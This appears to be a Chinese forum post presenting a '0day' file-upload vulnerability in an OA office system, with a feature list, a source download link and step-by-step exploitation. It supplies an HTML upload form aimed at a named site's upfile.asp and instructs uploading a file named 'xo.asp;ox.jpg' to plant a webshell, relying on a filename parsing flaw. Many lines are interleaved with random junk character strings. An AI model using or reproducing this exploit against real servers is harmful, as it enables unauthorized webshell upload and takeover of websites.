全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
- p3 a. p4 }4 m# B系统介绍：

' H. l, \* T7 y. j8 g全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

6 E  j% Y" p& @; Y" m主要功能：
/ X2 i  z- @1 F) c& @9 P* b公司通告
. ]- t) u4 E) H) a+ \工作计划
% Q* ^+ Y. q' k! i) j- N通讯助理
客户资源
我的公文
  F) y6 O( F+ N3 L% @3 ]6 q( `公文传阅
" L- o: t5 n; l0 T/ L  U+ l' i公共资源
资源预约
今日考勤
, Z+ q6 Z1 i7 M  p* C) ^7 x个人计划
个人通讯录
/ x! A( i: r0 m. T- H2 g个人基本档案
未读邮件
4 E& k3 M6 K4 c  h- V% P5 C9 K发邮件
$ c# x2 s3 s( N# P( `收件夹
6 }  ^8 Q/ E& k0 ^# g! n. w寄件夹
  k9 |4 V6 S( E: w网络硬盘
网络会议
网络调查
. s3 |, k0 ]2 G8 j& }- Y交流论坛

有兴趣测试的朋友可以下源码看看
: m- Z. v+ a3 S6 w) U
源码下载：

http://www.mycodes.net/30/4750.htm

漏洞介绍：
1 l8 f1 e* p& z4 D3 d) i
4 V- W3 r; p1 g8 b由upfile.asp上传文件漏洞引起

4 s" Z+ ?( v" H# S' n& T3 e测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可

如果upfile.asp文件被删除不存在。
0 m; [" x6 v6 Z% F+ {+ Y
4 V8 C- G6 ?8 ?  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

8 J8 G5 y5 B; ~如果存在那么将如下代码保存为upfile.html。
7 q0 ?) a: G+ ?1 D4 f: h
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

- f6 L1 |! {7 @  A. N6 v

01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
% |$ D$ I& s$ b
+ R! I' J& i8 e4 M& c9 g03 <tr>
3 a/ B5 H; D$ ]& t! m  i. x
6 ?) `2 u! K' l% c# t5 d04             <td>报错：</td>

; Z$ D/ V8 c6 ~+ }8 f( D3 P9 f; }; x05             <td><input type='radio' name='errnumber' value='0'>

. L+ T. W! j& W6 v+ B5 J06               自动更名
. k* n0 Q# ^( D
  G$ [" t: Y1 p6 E0 Q0 v8 C07               <input type='radio' name='errnumber' value='1' checked>
7 h, A+ e8 E6 f! j/ Q' J. ~
08               报错方式
2 E: \6 d- O" k' O
: k' G' N2 U# @$ h09               <input type='radio' name='errnumber' value='2'>
: q  \. U8 n7 ~4 Q: a- ^3 _
, Q# _$ Z* `) q: Z10               直接覆盖</td>

2 E3 D, P/ _- u: f2 u# G11           </tr>
, u  y9 J9 m, M6 y& |: N2 t) T
12           <tr>

13             <td>主题：</td>
& X* X  c: e' t% B
14             <td><input type='text' name='filename' size='30'></td>

15           </tr>
; J6 m% J" T6 r. p, ^
4 N$ l; Y9 {3 w' v+ v" X16           <tr>
4 D$ C/ t0 i2 d( R
17             <td>文件：</td>

* c% _0 s) B% ~18             <td><input type="file"name="fruit"size="30"></td>

! D9 p( R1 S( ?. C* r19           </tr>

6 c2 K+ a& e1 h5 G6 l20           <tr>

21             <td valign='top'>简介：</td>
. z9 h: x- d; a
& }; b  M) K' ?) R8 R22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
- C0 w* w! E* A, Z6 p$ q
/ ]1 N+ Y: V$ U2 n3 G" l0 ^! l0 Q23           </tr>
% f& Q" `2 w$ @4 s3 L" D1 t3 N0 A
24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

0 W3 O9 a: v3 c) T- i5 p  Z8 q. M26           </tr>

27         </form>
0 |- A) {9 V: }' M8 ?8 `
3 d6 l6 k. t5 f然后打开上传一个文件名为xo.asp;ox.jpg的文件。

$ @; ^$ l, _2 k8 e* O. `
- A4 x! G+ L' f9 g" m" E4 S: `
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
$ }0 y: m) p" d
5 Q7 h& f% W3 c8 d- X此漏洞需要配合解析漏洞利用。
+ T+ Z! p& b# r, U# N